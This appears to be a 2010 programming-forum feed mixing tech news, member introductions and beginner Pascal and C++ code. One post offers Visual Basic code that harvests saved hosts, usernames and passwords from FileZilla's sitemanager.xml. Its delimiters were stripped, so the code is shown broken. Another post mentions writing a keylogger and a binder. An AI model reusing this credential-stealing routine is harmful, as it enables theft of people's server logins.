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Microsoft seeks browser comeback with IE 9

Tue, 09 Mar 2010 14:22:45 -0600

Microsoft is expected to share details about Internet Explorer 9 at its upcoming MIX10 conference, and industry watchers say the forthcoming release could help the software giant put part of its embattled browser past behind it.Google Chrome chips away at Microsoft IE

"People love to hate Microsoft, and they are usually very techie types and early adopters that see flaws in engineering and strategy," says Sheri McLeish, an analyst covering information and knowledge management at Forrester Research. "Microsoft bundled IE with Windows, which added to its very long and dramatic history with the hubbub around Netscape, for example. But the browser market epitomizes the company's challenges as it looks to improve market share and faces a lot of dislike and distrust in terms of Microsoft's competitive nature."

Microsoft in the past years suffered several injuries during the browser battles, but the software giant could be looking to save face with IE 9. Industry watchers expect Microsoft to reveal details about IE 9 at its MIX10 design and developers conference in Las Vegas. The actual technology most likely won't be generally available for a year or more, McLeish says, but Microsoft could win over skeptics by including support for emerging standards such as HTML 5, while still providing customers their choice of browsers.

"Microsoft is urging customers to upgrade to IE 8 because the company recognizes it is important to have the latest browser, which was illustrated by the very public Chinese hacking of Google, using IE 6," McLeish says. "It has been well-circulated that Microsoft will be supporting http://www.networkworld.com/community/node/44350 ">HTML5, and it has been widely criticized for not supporting it to date, but it is not an official standard yet."

Yet competitor Google is pushing HTML5 as part of its Chrome browser, which makes Microsoft appear less "leading-edge" and behind in browser technology.

"Silverlight and Flash are still much more predominant," McLeish says. "From Microsoft's perspective, they are moving forward to appease critics, but that doesn't mean that HTML5 will be the new default approach."

Though specific numbers vary, several different sources report that Microsoft's Internet Explorer browser has been losing market share for several years, mostly to Firefox but now also in smaller part to Google's Chrome.

Greetings from Jamaica

Tue, 09 Mar 2010 08:55:55 -0600

Hi my name is Desmond from Jamaica, I am an IT teacher who has had pascal added to the syllabus I've been instructing from and facilitating 10 & 11 graders learning Pascal. I have not spent much time programming but as the CSEC syllabus from I teach from has now made it mandatory to teach Pascal as the programming language of choice, I bumped into your site quite by accident while searching for relevant resource material and found it friendly enough to direct the horde of students to for further enlightenment!

As for my age it has fallen off the calendar!

My relevant skill area to this forum probably would be in problem-solving and program design using pseudocode algorithm which I find happens to be quite similar to Basic, so pretty much I am a no frills entrant in this arena. I possess novice-mediocre programming skills, have dabbled in various programming languages from assembly to occam but mastered none. Coming from a PC repairs background. Notwithstanding I anticipate that will all change in a matter of days of using this site!!!

I like the challenge of problem solving and expanding my aptitude in this proficiency by acquiring competence in dealing with the various syntax nuances will help me to become more resourceful member of this prestigious alliance! Help to improve my community you can call me a community activist without any political associations.

Hobbies: Chess, strategy games, listen instrumentals, soft jazz, (easy listening), volleyball & table tennis. Have a desire to produce one educational program for children / teenagers based on moral principles.

Help programming Java IDE in Java

Mon, 08 Mar 2010 13:45:11 -0600

I need to make Syntax highlighting in my text editor, please help me program this.
All help and links to tutorials greatly appreciated.

Satyam still risky a year after fraud revealed: Forrester

Mon, 08 Mar 2010 10:29:26 -0600

Over a year after Indian outsourcer Satyam Computer Services reported a major financial fraud at the company, research firm Forrester still cautions customers doing business with it.

Satyam has a new owner, Tech Mahindra, which took over the management from the middle of last year.

But clients should keep an eye on Satyam's ongoing problems such as high attrition, cultural differences between the new management and old Satyam staffers, and risks arising from the unavailability of the company's audited financials, Forrester said in a report.

The company, which spent most of last year fighting for survival and defending its client base after the fraud broke out, did not invest in new technologies such as cloud-based delivery of services, Sudin Apte , a principal analyst at Forrester, said on Monday.

Many other analysts also believe that Satyam's turnaround is far from complete.

"Satyam does not figure for most clients planning to outsource to India," said an analyst on condition of anonymity, as his company does not publicly discuss individual providers. Satyam may still be losing customers, he added.

The company is typically not considered for new deals of a value of above US$100 million, Apte said. The customers that it has added recently are for small deals of $5 million to $7 million, he added. Most of these have been attracted by the basement prices offered by Satyam, which have lowered the company's margins, Apte said.

Satyam was plunged into a crisis in January last year after its founder, B. Ramalinga Raju , said that the company's revenue and profit had been over-stated for several years.

The Indian government stepped in soon after, and appointed its own board for the company. The new board decided to invite bids to select a strategic investor in the company.

Tech Mahindra, another Indian outsourcer, was selected in the bid, and acquired a dominant stake of 43 percent in Satyam.

The government-nominated board also ordered in January last year the re-statement of Satyam's accounts, but that process has still to be completed.

The company has as yet to communicate to customers the full extent of the financial fraud, restate the accounts, and also convey to customers a plan by which it expects to maintain operational stability, an analyst said.

There are customers who might have awarded business to Satyam, but for their hesitation to do business with a company that is not in compliance on its accounts, Apte said.

A Satyam spokeswoman said on Monday that the company now plans to have its accounts restated by June 30. She declined to provide information on the company's performance, including on the number of clients that the company has added recently.

The stability of the company has become a key issue as it is grappling with high staff attrition, Forrester's Apte said. The market has picked up, and other companies are hiring, which raises questions as to whether Satyam will be able to retain and attract staff in the new competitive environment, he added.

The company has also lost some key staff to other Indian outsourcers, Forrester said. The Satyam spokeswoman said that the company has recently been able to attract some key executives from other outsourcers including Wipro.

Intro

Sun, 07 Mar 2010 16:55:10 -0600

Name: EscoBar
Real Name: Glen
Age: 16
You areas of skill: I haven't actually done any programming before up until recently I got interested in Java and started to learn it, I'm still a beginner but i'll get their eventually
Why you like doing what you do: I enjoy learning new stuff and since I didn't know how to program at all I thought Java would be a good starting platform.
Hobbies: Not many hobbies but I guess what your average teenager does - watching football, PC, TV etc etc

Saw this on HF and forum looks pretty cool so I signed up to check things out

Computer Bowl

Sat, 06 Mar 2010 13:52:12 -0600

Well, as you may know Computer bowl is basically just a certain number of highschool students competing against eachother in Computer Literacy Tests/Programming challenges.
Over all i came in the top 50th percentile so i think i did good for the first time

Data centers tackling cyber terrorism, slowly

Sat, 06 Mar 2010 11:00:09 -0600

The data center is receiving more public scrutiny than ever before, with IT managers facing a range of challenges from making systems run more efficiently to protecting computers from cyber terrorism, says AFCOM chief executive Jill Eckhaus

The 30-year-old organization for data center managers is holding its twice-yearly Data Center World show from March 7-11 in Nashville, Tenn., where IT folks will learn about the most pressing issues facing data centers today and share their own experiences.

Gov't builds secret database to fight cyber-terrorism

Cyber terrorism is one of the topics Eckhaus is looking forward to examining further. AFCOM’s recent survey of more than 400 data center pros found that only one-third have included cyber terrorism in disaster recovery plans, only one-quarter have addressed cyber terrorism in policies and procedures manuals, and only one-fifth provide cyber terrorism employee training. These low numbers were recorded despite the fact that 61% of data center managers said they recognize cyber terrorism as a threat they need to address.

No data center manager is likely to ignore security, but AFCOM officials say they need to recognize that cyber terror poses a more serious threat than a typical hacker.

“A hacker might be a student just looking for a challenge,” Eckhaus says. “Cyber terrorists want to destroy the United States. That’s the difference.”

AFCOM will host two sessions on cyber terrorism during the conference. Unfortunately, in a bad economy companies that already have security plans “tend to say what we have is good enough,” Eckhaus says. “They’re really at the very beginning stages.”

Even beyond security, public scrutiny of data centers seems to be increasing, as the 24/7 business world expects computer systems that never fail or slow down. Eckhaus says this is both good and bad for data center managers, because the public is recognizing the important work they do, but also demanding more.

“This is a really unique time, because for the first time in history the data center is in the public eye,” Eckhaus says. “People are starting to understand how vital data centers are. We could not do business as usual without data centers.”

Corporate management is demanding that data centers run more efficiently, both to save money on power costs and to appear environmentally friendly in the public eye, Echuas notes. Going green is important, in part because providing enough power and cooling to data centers is becoming more difficult, she says. But the IT industry is “saturating” data center managers with the green buzzword, she says.

“It’s a buzzword that’s been around for a few years, because the data center sucks up so much energy,” Eckhaus says. “Corporate management is really looking down at the data center now and saying ‘what are you going to do.’”

Microsoft's tax-for-hacks 'horrible' idea, say security experts

Fri, 05 Mar 2010 11:05:20 -0600

Microsoft 's idea that the fight against malware could be funded by an Internet tax is "horrible," an analyst said Thursday as other experts weighed in on a recent comment by the company's security chief.

Earlier this week, Scott Charney, Microsoft's vice president for its Trustworthy Computing group, said that while there are plenty of ways to combat malware, scrub infected PCs and take down botnets, no one wanted to foot the bill .

"Maybe markets will make it work," Charney said, but then added that an Internet usage tax might be the solution. "You could say it's a public safety issue and do it with general taxation," Charney said.

"The idea of a general Net tax is a horrible idea," said John Pescatore, Gartner's security analyst. "Why not a tax on all retail goods for a standard anti-shoplifting service all merchants would have to use?" A business, he said, can now select what it thinks is the best anti-malware solution, but that choice would presumably vanish if funding for battling the bad guys went national.

"A general tax would reduce the services to the lowest common denominator," he said.

Wolfgang Kandek, chief technology officer with security company Qualys, agreed. "I have a hard time seeing [a tax] work. The Internet is an international body, you can't regulate it and you cannot levy a tax. ISPs might have to up their fees to pay for something like this, I can see that, but a tax that brings government into play, I can't see that."

Others who disagreed with Charney's Net tax argued that Web users would pay, one way or another, tax or no tax, to fight hackers.

"A tax may be a bad idea, but people will pay for it one way or another," said Randy Abrams, director of technical education at ESET Security, ticking off higher ISP fees or if not that, then the lack of any price cuts by ISPs as the inevitable consequences of anti-malware efforts on the part of service providers.

Some security pros questioned not only the concept, but also the mechanics of a taxation-for-mitigation scheme.

"I don't have a problem with charging a fee and giving it to good works for the whole," said Andrew Storms, director of security operations at nCircle Network Security. "The problem is that one, you have to find a big, smart and trustworthy organization to handle this. And most people will agree that's not the government, and that's not Microsoft."

More likely, thought Storms, is that an ISP will take the plunge, charge its users a little extra to keep their machines clean, and prove it's possible. "Then I could see a consortium of ISPs getting together to do that," he said.

But there are other ways to clean up the Internet than to slap a tax on the Web, then use the money to launch search-and-destroy missions like the one Microsoft announced last week when it said it had crippled the Waledac botnet, a claim some researchers disputed .

Filezilla Password Stealer Visual Basic

Fri, 05 Mar 2010 11:04:28 -0600

This is Filezilla Password Stealer. You have a function GetBetween() which gets all stored passwords, usernames, ports and other data stored by Filezilla. This is just an example how you can get that data. Don't use it in malware purposes !

Code:

Public Function GetBetween(ByRef strSource As String, ByRef strStart As String, ByRef strEnd As String, _

                            Optional ByRef startPos As Integer = 0) As String

        Dim iPos As Integer, iEnd As Integer, lenStart As Integer = strStart.Length

        Dim strResult As String

        strResult = String.Empty

        iPos = strSource.IndexOf(strStart, startPos)

        iEnd = strSource.IndexOf(strEnd, iPos + lenStart)

        If iPos <> -1 AndAlso iEnd <> -1 Then

            strResult = strSource.Substring(iPos + lenStart, iEnd - (iPos + lenStart))

        End If

        Return strResult

    End Function

    Public Sub getFzPasswords(ByVal list As Generic.List(Of String))

        Try

            Dim fzPath As String = Environment.GetEnvironmentVariable("APPDATA")

            Dim username As String, password As String, host As String

            Dim read As New StreamReader(fzPath & "\FileZilla\sitemanager.xml")

            Dim data As String = read.ReadToEnd()

            list.Clear()

            Do Until InStr(data, "") = False

                username = GetBetween(data, "", "")

                password = GetBetween(data, "", "")

                host = GetBetween(data, "", "")

                list.Add(host & " | " & username & " : " & password)

                data = data.Replace("" & username & "", "")

                data = data.Replace("" & password & "", "")

                data = data.Replace("" & host & "", "")

            Loop

        Catch ex As Exception

        End Try

    End Sub

An idiot reviews Ubuntu

Thu, 04 Mar 2010 13:09:11 -0600

http://shelleytherepublican.com/problems...ardy-heron

No Comment

Microsoft to spend $9.5 billion on research in 2010

Thu, 04 Mar 2010 07:45:15 -0600

Microsoft plans to spend $9.5 billion on research and development this year, which a senior executive said Thursday is more than any competitor.

The figure is $3 billion more than the next closest technology company, said Kevin Turner, Microsoft's chief operating officer, who gave a keynote speech on Thursday at the Cebit trade show. Much of Microsoft's investments center around "cloud" services, or online computing provided to users from hosted data centers.

"Especially in light of the tough difficult macroeconomic times that we're coming out of, we chose to really lean in and double down on our innovation," Turner said.

Turner contended that Microsoft has more cloud services than any other company, ranging from its consumer e-mail service to hosted enterprise products such as its Dynamics CRM (customer relationship management) system to its Azure cloud operating system.

"We're going to change and reinvent our company around leading in the cloud," Turner said.

However, Turner said Microsoft will still have a significant on-premise software business. Microsoft has come under increasing pressure from companies such as Google that sell office productivity suites that are entirely online rather than installed on PCs. Microsoft has argued that there will always be a need for client software, which can deliver more features.

Turner defended the company's forthcoming Windows Phone 7 Series operating system, which will be available on phones later this year. Microsoft faces heavy competition from vendors such as Apple, Nokia and other manufacturers using Google's Android operating system.

Turner said the mobile OS is a complete overhaul from previous ones and is tightly integrated with other Microsoft products such as its X-box gaming and Zune music products. Windows Phone 7 Series is "not a 'me too' product," Turner said.

Snippets C programming language

Thu, 04 Mar 2010 07:43:08 -0600

I have found a great database of snippets, codes, sources of functions and libraries in C programming language (works for C++ too, of course).
You can find Assorted math functions along with Various ways of computing PI to ridiculous lengths and many many more.
Here is the link :
http://c.snippets.org/browser.php

MC' Reporting Back in

Tue, 02 Mar 2010 19:42:11 -0600

Hey guys

Just making a thread to say I started programming again after a 4-5 month hiatus. I was really busy with college applications and other activities, but now I have some more free time.

I first when back to hackforums, but today realize how much of a shithole it is. Looking over this site, I can see you guys value respect and intelligence as much as I do.

So, how have you guys been in the past few months? What projects have you been working on?

Right now, I'm struggling to think of coding projects that aren't hacking-related. I have coded a malfunctioning binder and part of a keylogger in the past few days, as well as an algorithm to crawl a hard-drive for files.

What I may be taking in college

Tue, 02 Mar 2010 14:22:41 -0600

I think i may go for a degree in bio-molecular engineering I have the GPA just gotta get the right SAT/ACT scores.
Would anyone here think this is a good choice?

Matrix fill with numbers

Tue, 02 Mar 2010 07:00:02 -0600

This is an interesting task. You can solve non-recursively, but i decided to use recursion (it is linear recursion).
You need to fill square matrix with numbers from 1 to n*n.
Square matrix has n*n fields so it's length equals to it's height.
The way of filling is almost the same as spiral way of filling, which you have here in this discussion :
http://www.pro9ramming.com/another-reque...t-622.html
Here is the example how should you fill for matrix 3x3 :

As you can see it is the same as spiral, but only for cases 2x2 and 3x3, for 4x4 you can see on the picture :

So it is basically going over the matrix to the point (n,1) and up to (n-1,1) and then turn right to the end and than up . . .
For 6x6 you can see it :

As you can see for cases when n is even we have the situation that the last number (n*n) is always in field (2,1) and when n is odd then it ends in (2,n-1).
Also to define mathematically when you have matrix field (x,y), x axis is vertical and y is horizontal.
Input is ordinary unsigned integer (not zero) and output is a matrix n*n filled in this way shown.
Solution
Well i defined a matrix starting from 0 to n+1.
And i filled it around with ones and n the middle with zeros.
Like this :

That is example for n=1 and 2 and 3 and 4 and 5.
And than go with recursion from point or field (1,1) to the right until you find a field with something bigger than zero and than down and than left and than up and so on.
The most important part is sequence right>>down>>left>>up.
You can try it on a piece of paper and you'll see that it actually fills matrix in this way.
I have solved it in Pascal :

Code:

program matrix_fill;

uses wincrt;

var

a:array[0..50,0..50] of integer;

i,j,n,br:integer;

procedure fill_matrix(x,y:integer);

begin

  br:=br+1;

  if a[x,y+1]=0 then

    begin

      a[x,y+1]:=br;

      fill_matrix(x,y+1);

    end

    else

     if a[x+1,y]=0 then

       begin

        a[x+1,y]:=br;

        fill_matrix(x+1,y);

       end

       else

        if a[x,y-1]=0 then

         begin

          a[x,y-1]:=br;

          fill_matrix(x,y-1);

         end

         else

          if a[x-1,y]=0 then

           begin

            a[x-1,y]:=br;

            fill_matrix(x-1,y);

           end;

end;

begin

 br:=1;

 readln(n);

 for i:=0 to n+1 do

   for j:= 0 to n+1 do

     a[i,j]:=1;

 for i:=1 to n do

   for j:=1 to n do

     a[i,j]:=0;

     a[1,1]:=1;

     fill_matrix(1,1);

 for i:=1 to n do

   begin

     for j:=1 to n do

       write(a[i,j],' ');

     writeln;

   end;

end.

Users fear big Chinese Twitter-like site may not reopen

Tue, 02 Mar 2010 06:19:13 -0600

A popular Chinese microblog service shut down last July amid ethnic riots in China triggered concern among users on Tuesday that it may not reopen.

Fanfou was one of several Twitter-style sites in China that was shut down as part of a communications clampdown after ethnic violence that took nearly 200 lives in the country's western Muslim region, Xinjiang. Some of the Web sites have since reopened but Fanfou has remained down, and by Tuesday its developers' blog had been revamped as a login screen for users to export and save the messages they had posted via the service.

Fanfou could not immediately be reached for comment, but local media cited a message from Fanfou saying it was still possible the Web site could come back.

Still, Chinese users of Twitter have since posted hundreds of messages about Fanfou, with some speculating that the service will not return.

"It looks like Fanfou really is dead stiff," wrote a user named AmanKuang.

"Fanfou really doesn't plan to live on," wrote another, named amystarrynight.

Chinese authorities censor Internet content through various means, including obliging Web site owners to self-censor. The owners can be punished if they do not promptly erase sensitive content, including some political content such as talk of elite government corruption, posted by users on message boards or blogs.

Chinese authorities targeted social-networking Web sites after the rioting last year because they were allegedly used to help plan the violence. After the rioting started, some users on microblog sites including Fanfou posted messages about conditions in the region.

Twitter, along with Facebook, was also blocked in China after the riots, but some Chinese users still access the service with a circumvention tool like a virtual private network (VPN).

C# book step by step

Mon, 01 Mar 2010 09:16:21 -0600

I bumped into this link, so I thought that some1 could use it

http://rapidshare.com/files/357247502/Mi...y_Step.rar

it is PDF bible about C#... I haven't read it yet, but it should be good...

Square root computing - Newton iterative method

Sun, 28 Feb 2010 12:35:28 -0600

When you have an equation that you can not solve, you can find an approximation solution, something that is near enough to be considered as a solution, and circled on number of decimals that you need. Newton made a method for getting successively approximations of roots of functions.
Approximation is a value that you can use, but it is not mathematically correct.
For example we use value of pi = 3.14, and we know that is real number that is not infinite. We can use more decimals, like pi = 3.14159265 for getting more accuracy. More about this method you have here :
http://en.wikipedia.org/wiki/Newton%27s_method
When we use this method on to computing square roots we get this formula :

That is formula for getting sqrt of a number, and in more iterations you get more accuracy.
This method is also known as Babylonian method, you can find all methods of computing sqrt values here :
http://en.wikipedia.org/wiki/Methods_of_...uare_roots
So i made solutions for this in Pascal and C++.
First in Pascal using "real" data type :

Code:

program sqrt;

uses wincrt;

const dec = 0.0001;

var

x,xn,xs:real;

i:longint;

begin

    readln(x);

    xn:=(x+1)/2;

    i:=0;

    while(abs(xn-xs)>dec)do

    begin

       xs:=xn; 

       xn:=(xs+x/xs)/2;   

       i:=i+1;   

    end;

    writeln(xn:10:4);

end.

Because real has only 11 decimals, double has 15, but extended has 18, i used extended to get maximum possible accuracy. Because of that i ahd to use compiler directive for extended calculations. Here is the code :

Code:

{$N+}

program sqrt;

uses wincrt;

const dec = 0.00000000000000000001;

var

x,xn,xs:extended;

i:longint;

begin

    readln(x);

    xn:=(x+1)/2;

    i:=0;

    while(abs(xn-xs)>dec)do

    begin

       xs:=xn; 

       xn:=(xs+x/xs)/2;   

       i:=i+1;   

    end;

    writeln(xn:25:20);

end.

And at the end, solution in C++ :

Code:

#include 

#include 

#include 

#define dec 0.0001

using namespace std;

int main()

{

    float x,xn,xs;

    cin>>x;

    xn=(x+1)/2;

    int i;

    i=0;

    while(fabs(xn-xs)>dec)

    {

       xs=xn; 

       xn=(xs+x/xs)/2;   

       i++;

    }

    cout<
    system("pause");

}

If you want to make it more accurate in C++, you can simply use double, for some bigger numbers long double should do the work.
l3g1sl4tor suggested this problem to be posted. He solved it too.
That would be all !

This site tells you when you are going to die

Sun, 28 Feb 2010 04:32:49 -0600

I found it and i think that is not so true, but it can be used for some stats.
Here is the link :
http://www.findyourfate.com/deathmeter/deathmtr.html

According to this i am going to live 86 years.

se7en API Guide

Sat, 27 Feb 2010 09:29:44 -0600

se7en API Guide

Se7en Api Guide

Here is se7en API Guide, The whole database is not mine, but don't know for who to give credits!

Click Here